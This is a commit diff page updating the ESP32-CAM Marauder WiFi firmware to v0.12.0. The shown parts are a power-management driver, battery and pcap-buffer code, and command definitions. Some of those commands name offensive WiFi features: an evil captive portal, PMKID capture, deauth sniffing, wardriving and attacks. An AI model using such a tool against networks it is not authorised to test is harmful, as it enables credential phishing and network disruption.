فهرست منبع

Updating marauder to v0.12.0

eried 2 سال پیش
والد
کامیت
9c59916db4
39فایلهای تغییر یافته به همراه7168 افزوده شده و 7534 حذف شده
  1. 435 0
      esp32cam_marauder/AXP192.cpp
  2. 81 0
      esp32cam_marauder/AXP192.h
  3. 0 1501
      esp32cam_marauder/Assets.h
  4. 26 32
      esp32cam_marauder/BatteryInterface.cpp
  5. 1 3
      esp32cam_marauder/BatteryInterface.h
  6. 32 20
      esp32cam_marauder/Buffer.cpp
  7. 3 3
      esp32cam_marauder/Buffer.h
  8. 30 6
      esp32cam_marauder/CommandLine.h
  9. 413 81
      esp32cam_marauder/CommandLine.ino
  10. 31 17
      esp32cam_marauder/Display.cpp
  11. 3 40
      esp32cam_marauder/Display.h
  12. 310 0
      esp32cam_marauder/EvilPortal.cpp
  13. 110 0
      esp32cam_marauder/EvilPortal.h
  14. 0 200
      esp32cam_marauder/EvilPortal.ino
  15. 126 0
      esp32cam_marauder/GpsInterface.cpp
  16. 39 0
      esp32cam_marauder/GpsInterface.h
  17. 14 9
      esp32cam_marauder/LedInterface.cpp
  18. 2 0
      esp32cam_marauder/LedInterface.h
  19. 113 548
      esp32cam_marauder/MenuFunctions.cpp
  20. 17 38
      esp32cam_marauder/MenuFunctions.h
  21. 276 235
      esp32cam_marauder/SDInterface.cpp
  22. 6 2
      esp32cam_marauder/SDInterface.h
  23. 0 36
      esp32cam_marauder/TemperatureInterface.cpp
  24. 0 24
      esp32cam_marauder/TemperatureInterface.h
  25. 0 178
      esp32cam_marauder/Web.cpp
  26. 0 141
      esp32cam_marauder/Web.h
  27. 4111 3732
      esp32cam_marauder/WiFiScan.cpp
  28. 76 68
      esp32cam_marauder/WiFiScan.h
  29. 0 69
      esp32cam_marauder/a32u4_interface.cpp
  30. 0 30
      esp32cam_marauder/a32u4_interface.h
  31. 641 261
      esp32cam_marauder/configs.h
  32. 190 90
      esp32cam_marauder/esp32cam_marauder.ino
  33. 0 135
      esp32cam_marauder/esp_interface.cpp
  34. 0 35
      esp32cam_marauder/esp_interface.h
  35. 3 0
      esp32cam_marauder/flipperLED.cpp
  36. 1 0
      esp32cam_marauder/flipperLED.h
  37. 2 0
      esp32cam_marauder/libraries/GitHub - stevemarple-MicroNMEA- A compact Arduino library to parse NMEA sentences-.url
  38. 53 0
      esp32cam_marauder/xiaoLED.cpp
  39. 23 0
      esp32cam_marauder/xiaoLED.h

+ 435 - 0
esp32cam_marauder/AXP192.cpp

@@ -0,0 +1,435 @@
+#include "AXP192.h"
+
+AXP192::AXP192() {
+}
+
+void AXP192::begin(void) {
+    Wire1.begin(21, 22);
+    Wire1.setClock(400000);
+
+    // Set LDO2 & LDO3(TFT_LED & TFT) 3.0V
+    Write1Byte(0x28, 0xcc);
+
+    // Set ADC to All Enable
+    Write1Byte(0x82, 0xff);
+
+    // Bat charge voltage to 4.2, Current 100MA
+    Write1Byte(0x33, 0xc0);
+
+    // Enable Bat,ACIN,VBUS,APS adc
+    Write1Byte(0x82, 0xff);
+
+    // Enable Ext, LDO2, LDO3, DCDC1
+    Write1Byte(0x12, Read8bit(0x12) | 0x4D);
+
+    // 128ms power on, 4s power off
+    Write1Byte(0x36, 0x0C);
+
+    // Set RTC voltage to 3.3V
+    Write1Byte(0x91, 0xF0);
+
+    // Set GPIO0 to LDO
+    Write1Byte(0x90, 0x02);
+
+    // Disable vbus hold limit
+    Write1Byte(0x30, 0x80);
+
+    // Set temperature protection
+    Write1Byte(0x39, 0xfc);
+
+    // Enable RTC BAT charge
+    Write1Byte(0x35, 0xa2);
+
+    // Enable bat detection
+    Write1Byte(0x32, 0x46);
+
+    // ScreenBreath(80);
+}
+
+void AXP192::Write1Byte(uint8_t Addr, uint8_t Data) {
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.write(Data);
+    Wire1.endTransmission();
+}
+
+uint8_t AXP192::Read8bit(uint8_t Addr) {
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 1);
+    return Wire1.read();
+}
+
+uint16_t AXP192::Read12Bit(uint8_t Addr) {
+    uint16_t Data = 0;
+    uint8_t buf[2];
+    ReadBuff(Addr, 2, buf);
+    Data = ((buf[0] << 4) + buf[1]);  //
+    return Data;
+}
+
+uint16_t AXP192::Read13Bit(uint8_t Addr) {
+    uint16_t Data = 0;
+    uint8_t buf[2];
+    ReadBuff(Addr, 2, buf);
+    Data = ((buf[0] << 5) + buf[1]);  //
+    return Data;
+}
+
+uint16_t AXP192::Read16bit(uint8_t Addr) {
+    uint16_t ReData = 0;
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 2);
+    for (int i = 0; i < 2; i++) {
+        ReData <<= 8;
+        ReData |= Wire1.read();
+    }
+    return ReData;
+}
+
+uint32_t AXP192::Read24bit(uint8_t Addr) {
+    uint32_t ReData = 0;
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 3);
+    for (int i = 0; i < 3; i++) {
+        ReData <<= 8;
+        ReData |= Wire1.read();
+    }
+    return ReData;
+}
+
+uint32_t AXP192::Read32bit(uint8_t Addr) {
+    uint32_t ReData = 0;
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 4);
+    for (int i = 0; i < 4; i++) {
+        ReData <<= 8;
+        ReData |= Wire1.read();
+    }
+    return ReData;
+}
+
+void AXP192::ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff) {
+    Wire1.beginTransmission(0x34);
+    Wire1.write(Addr);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, (int)Size);
+    for (int i = 0; i < Size; i++) {
+        *(Buff + i) = Wire1.read();
+    }
+}
+
+void AXP192::ScreenBreath(int brightness) {
+    if (brightness > 100 || brightness < 0) return;
+    int vol     = map(brightness, 0, 100, 2500, 3200);
+    vol         = (vol < 1800) ? 0 : (vol - 1800) / 100;
+    uint8_t buf = Read8bit(0x28);
+    Write1Byte(0x28, ((buf & 0x0f) | ((uint16_t)vol << 4)));
+}
+
+void AXP192::ScreenSwitch(bool state) {
+    uint8_t brightness;
+    if (state == false) {
+        brightness = 0;
+    } else if (state == true) {
+        brightness = 12;
+    }
+    uint8_t buf = Read8bit(0x28);
+    Write1Byte(0x28, ((buf & 0x0f) | (brightness << 4)));
+}
+
+bool AXP192::GetBatState() {
+    if (Read8bit(0x01) | 0x20)
+        return true;
+    else
+        return false;
+}
+//---------coulombcounter_from_here---------
+// enable: void EnableCoulombcounter(void);
+// disable: void DisableCOulombcounter(void);
+// stop: void StopCoulombcounter(void);
+// clear: void ClearCoulombcounter(void);
+// get charge data: uint32_t GetCoulombchargeData(void);
+// get discharge data: uint32_t GetCoulombdischargeData(void);
+// get coulomb val affter calculation: float GetCoulombData(void);
+//------------------------------------------
+void AXP192::EnableCoulombcounter(void) {
+    Write1Byte(0xB8, 0x80);
+}
+
+void AXP192::DisableCoulombcounter(void) {
+    Write1Byte(0xB8, 0x00);
+}
+
+void AXP192::StopCoulombcounter(void) {
+    Write1Byte(0xB8, 0xC0);
+}
+
+void AXP192::ClearCoulombcounter(void) {
+    Write1Byte(0xB8, 0xA0);
+}
+
+uint32_t AXP192::GetCoulombchargeData(void) {
+    return Read32bit(0xB0);
+}
+
+uint32_t AXP192::GetCoulombdischargeData(void) {
+    return Read32bit(0xB4);
+}
+
+float AXP192::GetCoulombData(void) {
+    uint32_t coin  = 0;
+    uint32_t coout = 0;
+
+    coin  = GetCoulombchargeData();
+    coout = GetCoulombdischargeData();
+
+    // c = 65536 * current_LSB * (coin - coout) / 3600 / ADC rate
+    // Adc rate can be read from 84H ,change this variable if you change the ADC
+    // reate
+    float ccc = 65536 * 0.5 * (int32_t)(coin - coout) / 3600.0 / 25.0;
+
+    return ccc;
+}
+//----------coulomb_end_at_here----------
+
+uint16_t AXP192::GetVbatData(void) {
+    uint16_t vbat = 0;
+    uint8_t buf[2];
+    ReadBuff(0x78, 2, buf);
+    vbat = ((buf[0] << 4) + buf[1]);  // V
+    return vbat;
+}
+
+uint16_t AXP192::GetVinData(void) {
+    uint16_t vin = 0;
+    uint8_t buf[2];
+    ReadBuff(0x56, 2, buf);
+    vin = ((buf[0] << 4) + buf[1]);  // V
+    return vin;
+}
+
+uint16_t AXP192::GetIinData(void) {
+    uint16_t iin = 0;
+    uint8_t buf[2];
+    ReadBuff(0x58, 2, buf);
+    iin = ((buf[0] << 4) + buf[1]);
+    return iin;
+}
+
+uint16_t AXP192::GetVusbinData(void) {
+    uint16_t vin = 0;
+    uint8_t buf[2];
+    ReadBuff(0x5a, 2, buf);
+    vin = ((buf[0] << 4) + buf[1]);  // V
+    return vin;
+}
+
+uint16_t AXP192::GetIusbinData(void) {
+    uint16_t iin = 0;
+    uint8_t buf[2];
+    ReadBuff(0x5C, 2, buf);
+    iin = ((buf[0] << 4) + buf[1]);
+    return iin;
+}
+
+uint16_t AXP192::GetIchargeData(void) {
+    uint16_t icharge = 0;
+    uint8_t buf[2];
+    ReadBuff(0x7A, 2, buf);
+    icharge = (buf[0] << 5) + buf[1];
+    return icharge;
+}
+
+uint16_t AXP192::GetIdischargeData(void) {
+    uint16_t idischarge = 0;
+    uint8_t buf[2];
+    ReadBuff(0x7C, 2, buf);
+    idischarge = (buf[0] << 5) + buf[1];
+    return idischarge;
+}
+
+uint16_t AXP192::GetTempData(void) {
+    uint16_t temp = 0;
+    uint8_t buf[2];
+    ReadBuff(0x5e, 2, buf);
+    temp = ((buf[0] << 4) + buf[1]);
+    return temp;
+}
+
+uint32_t AXP192::GetPowerbatData(void) {
+    uint32_t power = 0;
+    uint8_t buf[3];
+    ReadBuff(0x70, 2, buf);
+    power = (buf[0] << 16) + (buf[1] << 8) + buf[2];
+    return power;
+}
+
+uint16_t AXP192::GetVapsData(void) {
+    uint16_t vaps = 0;
+    uint8_t buf[2];
+    ReadBuff(0x7e, 2, buf);
+    vaps = ((buf[0] << 4) + buf[1]);
+    return vaps;
+}
+
+void AXP192::SetSleep(void) {
+    uint8_t buf = Read8bit(0x31);
+    buf         = (1 << 3) | buf;
+    Write1Byte(0x31, buf);
+    Write1Byte(0x90, 0x00);
+    Write1Byte(0x12, 0x09);
+    // Write1Byte(0x12, 0x00);
+    Write1Byte(0x12, Read8bit(0x12) & 0xA1);  // Disable all outputs but DCDC1
+}
+
+uint8_t AXP192::GetWarningLeve(void) {
+    Wire1.beginTransmission(0x34);
+    Wire1.write(0x47);
+    Wire1.endTransmission();
+    Wire1.requestFrom(0x34, 1);
+    uint8_t buf = Wire1.read();
+    return (buf & 0x01);
+}
+
+// -- sleep
+void AXP192::DeepSleep(uint64_t time_in_us) {
+    SetSleep();
+
+    if (time_in_us > 0) {
+        esp_sleep_enable_timer_wakeup(time_in_us);
+    } else {
+        esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
+    }
+    (time_in_us == 0) ? esp_deep_sleep_start() : esp_deep_sleep(time_in_us);
+}
+
+void AXP192::LightSleep(uint64_t time_in_us) {
+    SetSleep();
+
+    if (time_in_us > 0) {
+        esp_sleep_enable_timer_wakeup(time_in_us);
+    } else {
+        esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
+    }
+    esp_light_sleep_start();
+}
+
+// 0 not press, 0x01 long press, 0x02 press
+uint8_t AXP192::GetBtnPress() {
+    uint8_t state = Read8bit(0x46);
+    if (state) {
+        Write1Byte(0x46, 0x03);
+    }
+    return state;
+}
+
+uint8_t AXP192::GetWarningLevel(void) {
+    return Read8bit(0x47) & 0x01;
+}
+
+float AXP192::GetBatVoltage() {
+    float ADCLSB    = 1.1 / 1000.0;
+    uint16_t ReData = Read12Bit(0x78);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetBatCurrent() {
+    float ADCLSB        = 0.5;
+    uint16_t CurrentIn  = Read13Bit(0x7A);
+    uint16_t CurrentOut = Read13Bit(0x7C);
+    return (CurrentIn - CurrentOut) * ADCLSB;
+}
+
+float AXP192::GetVinVoltage() {
+    float ADCLSB    = 1.7 / 1000.0;
+    uint16_t ReData = Read12Bit(0x56);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetVinCurrent() {
+    float ADCLSB    = 0.625;
+    uint16_t ReData = Read12Bit(0x58);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetVBusVoltage() {
+    float ADCLSB    = 1.7 / 1000.0;
+    uint16_t ReData = Read12Bit(0x5A);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetVBusCurrent() {
+    float ADCLSB    = 0.375;
+    uint16_t ReData = Read12Bit(0x5C);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetTempInAXP192() {
+    float ADCLSB             = 0.1;
+    const float OFFSET_DEG_C = -144.7;
+    uint16_t ReData          = Read12Bit(0x5E);
+    return OFFSET_DEG_C + ReData * ADCLSB;
+}
+
+float AXP192::GetBatPower() {
+    float VoltageLSB = 1.1;
+    float CurrentLCS = 0.5;
+    uint32_t ReData  = Read24bit(0x70);
+    return VoltageLSB * CurrentLCS * ReData / 1000.0;
+}
+
+float AXP192::GetBatChargeCurrent() {
+    float ADCLSB    = 0.5;
+    uint16_t ReData = Read12Bit(0x7A);
+    return ReData * ADCLSB;
+}
+float AXP192::GetAPSVoltage() {
+    float ADCLSB    = 1.4 / 1000.0;
+    uint16_t ReData = Read12Bit(0x7E);
+    return ReData * ADCLSB;
+}
+
+float AXP192::GetBatCoulombInput() {
+    uint32_t ReData = Read32bit(0xB0);
+    return ReData * 65536 * 0.5 / 3600 / 25.0;
+}
+
+float AXP192::GetBatCoulombOut() {
+    uint32_t ReData = Read32bit(0xB4);
+    return ReData * 65536 * 0.5 / 3600 / 25.0;
+}
+
+void AXP192::SetCoulombClear() {
+    Write1Byte(0xB8, 0x20);
+}
+
+void AXP192::SetLDO2(bool State) {
+    uint8_t buf = Read8bit(0x12);
+    if (State == true)
+        buf = (1 << 2) | buf;
+    else
+        buf = ~(1 << 2) & buf;
+    Write1Byte(0x12, buf);
+}
+
+// Cut all power, except for LDO1 (RTC)
+void AXP192::PowerOff() {
+    Write1Byte(0x32, Read8bit(0x32) | 0x80);  // MSB for Power Off
+}
+
+void AXP192::SetPeripherialsPower(uint8_t state) {
+    if (!state)
+        Write1Byte(0x10, Read8bit(0x10) & 0XFB);
+    else if (state)
+        Write1Byte(0x10, Read8bit(0x10) | 0X04);
+    // uint8_t data;
+    // Set EXTEN to enable 5v boost
+}

+ 81 - 0
esp32cam_marauder/AXP192.h

@@ -0,0 +1,81 @@
+#ifndef __AXP192_H__
+#define __AXP192_H__
+
+#include <Arduino.h>
+#include <Wire.h>
+
+#define SLEEP_MSEC(us) (((uint64_t)us) * 1000L)
+#define SLEEP_SEC(us)  (((uint64_t)us) * 1000000L)
+#define SLEEP_MIN(us)  (((uint64_t)us) * 60L * 1000000L)
+#define SLEEP_HR(us)   (((uint64_t)us) * 60L * 60L * 1000000L)
+
+class AXP192 {
+   public:
+    AXP192();
+    void begin(void);
+    void ScreenBreath(int brightness);
+    void ScreenSwitch(bool state);
+
+    bool GetBatState();
+
+    void EnableCoulombcounter(void);
+    void DisableCoulombcounter(void);
+    void StopCoulombcounter(void);
+    void ClearCoulombcounter(void);
+    uint32_t GetCoulombchargeData(void);
+    uint32_t GetCoulombdischargeData(void);
+    float GetCoulombData(void);
+
+    uint16_t GetVbatData(void) __attribute__((deprecated));
+    uint16_t GetIchargeData(void) __attribute__((deprecated));
+    uint16_t GetIdischargeData(void) __attribute__((deprecated));
+    uint16_t GetTempData(void) __attribute__((deprecated));
+    uint32_t GetPowerbatData(void) __attribute__((deprecated));
+    uint16_t GetVinData(void) __attribute__((deprecated));
+    uint16_t GetIinData(void) __attribute__((deprecated));
+    uint16_t GetVusbinData(void) __attribute__((deprecated));
+    uint16_t GetIusbinData(void) __attribute__((deprecated));
+    uint16_t GetVapsData(void) __attribute__((deprecated));
+    uint8_t GetBtnPress(void);
+
+    // -- sleep
+    void SetSleep(void);
+    void DeepSleep(uint64_t time_in_us = 0);
+    void LightSleep(uint64_t time_in_us = 0);
+    uint8_t GetWarningLeve(void);
+
+   public:
+    // void SetChargeVoltage( uint8_t );
+    // void SetChargeCurrent( uint8_t );
+    float GetBatVoltage();
+    float GetBatCurrent();
+    float GetVinVoltage();
+    float GetVinCurrent();
+    float GetVBusVoltage();
+    float GetVBusCurrent();
+    float GetTempInAXP192();
+    float GetBatPower();
+    float GetBatChargeCurrent();
+    float GetAPSVoltage();
+    float GetBatCoulombInput();
+    float GetBatCoulombOut();
+    uint8_t GetWarningLevel(void);
+    void SetCoulombClear();
+    void SetLDO2(bool State);
+    void SetPeripherialsPower(uint8_t state);
+
+    // -- Power Off
+    void PowerOff();
+
+   public:
+    void Write1Byte(uint8_t Addr, uint8_t Data);
+    uint8_t Read8bit(uint8_t Addr);
+    uint16_t Read12Bit(uint8_t Addr);
+    uint16_t Read13Bit(uint8_t Addr);
+    uint16_t Read16bit(uint8_t Addr);
+    uint32_t Read24bit(uint8_t Addr);
+    uint32_t Read32bit(uint8_t Addr);
+    void ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff);
+};
+
+#endif

تفاوت فایلی نمایش داده نمی شود زیرا این فایل بسیار بزرگ است
+ 0 - 1501
esp32cam_marauder/Assets.h


+ 26 - 32
esp32cam_marauder/BatteryInterface.cpp

@@ -5,45 +5,39 @@ BatteryInterface::BatteryInterface() {
 }
 }
 
 
 void BatteryInterface::main(uint32_t currentTime) {
 void BatteryInterface::main(uint32_t currentTime) {
-  #ifndef MARAUDER_FLIPPER
-    if (currentTime != 0) {
-      if (currentTime - initTime >= 3000) {
-        //Serial.println("Checking Battery Level");
-        this->initTime = millis();
-        int8_t new_level = this->getBatteryLevel();
-        //this->battery_level = this->getBatteryLevel();
-        if (this->battery_level != new_level) {
-          Serial.println(text00 + (String)new_level);
-          this->battery_level = new_level;
-        }
+  if (currentTime != 0) {
+    if (currentTime - initTime >= 3000) {
+      //Serial.println("Checking Battery Level");
+      this->initTime = millis();
+      int8_t new_level = this->getBatteryLevel();
+      //this->battery_level = this->getBatteryLevel();
+      if (this->battery_level != new_level) {
+        Serial.println(text00 + (String)new_level);
+        this->battery_level = new_level;
       }
       }
     }
     }
-  #endif
+  }
 }
 }
 
 
 void BatteryInterface::RunSetup() {
 void BatteryInterface::RunSetup() {
-  #ifndef MARAUDER_FLIPPER
-    Wire.begin(I2C_SDA, I2C_SCL);
-    this->initTime = millis();
-  #endif
+  Wire.begin(I2C_SDA, I2C_SCL);
+  this->initTime = millis();
 }
 }
 
 
 int8_t BatteryInterface::getBatteryLevel() {
 int8_t BatteryInterface::getBatteryLevel() {
-  #ifndef MARAUDER_FLIPPER
-    Wire.beginTransmission(IP5306_ADDR);
-    Wire.write(0x78);
-    if (Wire.endTransmission(false) == 0 &&
-        Wire.requestFrom(0x75, 1)) {
-      this->i2c_supported = true;
-      switch (Wire.read() & 0xF0) {
-        case 0xE0: return 25;
-        case 0xC0: return 50;
-        case 0x80: return 75;
-        case 0x00: return 100;
-        default: return 0;
-      }
+  Wire.beginTransmission(IP5306_ADDR);
+  Wire.write(0x78);
+  if (Wire.endTransmission(false) == 0 &&
+      Wire.requestFrom(0x75, 1)) {
+    this->i2c_supported = true;
+    switch (Wire.read() & 0xF0) {
+      case 0xE0: return 25;
+      case 0xC0: return 50;
+      case 0x80: return 75;
+      case 0x00: return 100;
+      default: return 0;
     }
     }
-    this->i2c_supported = false;
-    return -1;
-  #endif
+  }
+  this->i2c_supported = false;
+  return -1;
 }
 }

+ 1 - 3
esp32cam_marauder/BatteryInterface.h

@@ -5,9 +5,7 @@
 
 
 #include "configs.h"
 #include "configs.h"
 
 
-#ifndef MARAUDER_FLIPPER
-  #include <Wire.h>
-#endif
+#include <Wire.h>
 
 
 #define I2C_SDA 33
 #define I2C_SDA 33
 #define I2C_SCL 22
 #define I2C_SCL 22

+ 32 - 20
esp32cam_marauder/Buffer.cpp

@@ -6,12 +6,20 @@ Buffer::Buffer(){
   bufB = (uint8_t*)malloc(BUF_SIZE);
   bufB = (uint8_t*)malloc(BUF_SIZE);
 }
 }
 
 
-void Buffer::createPcapFile(fs::FS* fs, String fn){
+void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
   int i=0;
   int i=0;
-  do{
-    fileName = "/"+fn+"_"+(String)i+".pcap";
-    i++;
-  } while(fs->exists(fileName));
+  if (!log) {
+    do{
+      fileName = "/"+fn+"_"+(String)i+".pcap";
+      i++;
+    } while(fs->exists(fileName));
+  }
+  else {
+    do{
+      fileName = "/"+fn+"_"+(String)i+".log";
+      i++;
+    } while(fs->exists(fileName));
+  }
 
 
   Serial.println(fileName);
   Serial.println(fileName);
   
   
@@ -19,20 +27,23 @@ void Buffer::createPcapFile(fs::FS* fs, String fn){
   file.close();
   file.close();
 }
 }
 
 
-void Buffer::open(){
+void Buffer::open(bool log){
   bufSizeA = 0;
   bufSizeA = 0;
   bufSizeB = 0;
   bufSizeB = 0;
 
 
-  bufSizeB = 0;  
+  bufSizeB = 0;
+
   writing = true;
   writing = true;
 
 
-  write(uint32_t(0xa1b2c3d4)); // magic number
-  write(uint16_t(2)); // major version number
-  write(uint16_t(4)); // minor version number
-  write(int32_t(0)); // GMT to local correction
-  write(uint32_t(0)); // accuracy of timestamps
-  write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
-  write(uint32_t(105)); // data link type
+  if (!log) {
+    write(uint32_t(0xa1b2c3d4)); // magic number
+    write(uint16_t(2)); // major version number
+    write(uint16_t(4)); // minor version number
+    write(int32_t(0)); // GMT to local correction
+    write(uint32_t(0)); // accuracy of timestamps
+    write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
+    write(uint32_t(105)); // data link type
+  }
 }
 }
 
 
 void Buffer::close(fs::FS* fs){
 void Buffer::close(fs::FS* fs){
@@ -42,8 +53,7 @@ void Buffer::close(fs::FS* fs){
   Serial.println(text01);
   Serial.println(text01);
 }
 }
 
 
-void Buffer::addPacket(uint8_t* buf, uint32_t len){
-  
+void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
   // buffer is full -> drop packet
   // buffer is full -> drop packet
   if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
   if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
     //Serial.print(";"); 
     //Serial.print(";"); 
@@ -64,10 +74,12 @@ void Buffer::addPacket(uint8_t* buf, uint32_t len){
 
 
   microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
   microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
   
   
-  write(seconds); // ts_sec
-  write(microSeconds); // ts_usec
-  write(len); // incl_len
-  write(len); // orig_len
+  if (!log) {
+    write(seconds); // ts_sec
+    write(microSeconds); // ts_usec
+    write(len); // incl_len
+    write(len); // orig_len
+  }
   
   
   write(buf, len); // packet payload
   write(buf, len); // packet payload
 }
 }

+ 3 - 3
esp32cam_marauder/Buffer.h

@@ -16,10 +16,10 @@ extern Settings settings_obj;
 class Buffer {
 class Buffer {
   public:
   public:
     Buffer();
     Buffer();
-    void createPcapFile(fs::FS* fs, String fn = "");
-    void open();
+    void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
+    void open(bool log = false);
     void close(fs::FS* fs);
     void close(fs::FS* fs);
-    void addPacket(uint8_t* buf, uint32_t len);
+    void addPacket(uint8_t* buf, uint32_t len, bool log = false);
     void save(fs::FS* fs);
     void save(fs::FS* fs);
     void forceSave(fs::FS* fs);
     void forceSave(fs::FS* fs);
     void forceSaveSerial();
     void forceSaveSerial();

+ 30 - 6
esp32cam_marauder/CommandLine.h

@@ -9,9 +9,12 @@
 #endif 
 #endif 
 
 
 #include "WiFiScan.h"
 #include "WiFiScan.h"
-#include "Web.h"
-#include "SDInterface.h"
+//#include "Web.h"
+#ifdef HAS_SD
+  #include "SDInterface.h"
+#endif
 #include "settings.h"
 #include "settings.h"
+#include "LedInterface.h"
 
 
 #ifdef HAS_SCREEN
 #ifdef HAS_SCREEN
   extern MenuFunctions menu_function_obj;
   extern MenuFunctions menu_function_obj;
@@ -19,13 +22,17 @@
 #endif
 #endif
 
 
 extern WiFiScan wifi_scan_obj;
 extern WiFiScan wifi_scan_obj;
-extern Web web_obj;
-extern SDInterface sd_obj;
+//extern Web web_obj;
+#ifdef HAS_SD
+  extern SDInterface sd_obj;
+#endif
 extern Settings settings_obj;
 extern Settings settings_obj;
+extern LedInterface led_obj;
 extern LinkedList<AccessPoint>* access_points;
 extern LinkedList<AccessPoint>* access_points;
 extern LinkedList<ssid>* ssids;
 extern LinkedList<ssid>* ssids;
 extern LinkedList<Station>* stations;
 extern LinkedList<Station>* stations;
 extern const String PROGMEM version_number;
 extern const String PROGMEM version_number;
+extern const String PROGMEM board_target;
 
 
 //// Commands
 //// Commands
 // Camera functions
 // Camera functions
@@ -39,8 +46,14 @@ const char PROGMEM REBOOT_CMD[] = "reboot";
 const char PROGMEM UPDATE_CMD[] = "update";
 const char PROGMEM UPDATE_CMD[] = "update";
 const char PROGMEM HELP_CMD[] = "help";
 const char PROGMEM HELP_CMD[] = "help";
 const char PROGMEM SETTINGS_CMD[] = "settings";
 const char PROGMEM SETTINGS_CMD[] = "settings";
+const char PROGMEM LS_CMD[] = "ls";
+const char PROGMEM LED_CMD[] = "led";
+const char PROGMEM GPS_DATA_CMD[] = "gpsdata";
+const char PROGMEM GPS_CMD[] = "gps";
 
 
 // WiFi sniff/scan
 // WiFi sniff/scan
+const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
+const char PROGMEM SIGSTREN_CMD[] = "sigmon";
 const char PROGMEM SCANAP_CMD[] = "scanap";
 const char PROGMEM SCANAP_CMD[] = "scanap";
 const char PROGMEM SCANSTA_CMD[] = "scansta";
 const char PROGMEM SCANSTA_CMD[] = "scansta";
 const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
 const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
@@ -51,6 +64,7 @@ const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
 const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
 const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
 const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
 const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
 const char PROGMEM STOPSCAN_CMD[] = "stopscan";
 const char PROGMEM STOPSCAN_CMD[] = "stopscan";
+const char PROGMEM WARDRIVE_CMD[] = "wardrive";
 
 
 // WiFi attack
 // WiFi attack
 const char PROGMEM ATTACK_CMD[] = "attack";
 const char PROGMEM ATTACK_CMD[] = "attack";
@@ -77,8 +91,14 @@ const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
 const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
 const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
 const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
 const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
 const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
 const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
+const char PROGMEM HELP_LS_CMD[] = "ls <directory>";
+const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
+const char PROGMEM HELP_GPS_DATA_CMD[] = "gpsdata";
+const char PROGMEM HELP_GPS_CMD[] = "gps [-g] <fix/sat/lon/lat/alt/date>";
 
 
 // WiFi sniff/scan
 // WiFi sniff/scan
+const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start]";
+const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
 const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
 const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
 const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
 const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
 const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
 const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
@@ -87,8 +107,9 @@ const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
 const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
 const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
 const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
 const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
 const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
 const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
-const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>]";
+const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>][-d][-l]";
 const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
 const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
+const char PROGMEM HELP_WARDRIVE_CMD[] = "wardrive";
 
 
 // WiFi attack
 // WiFi attack
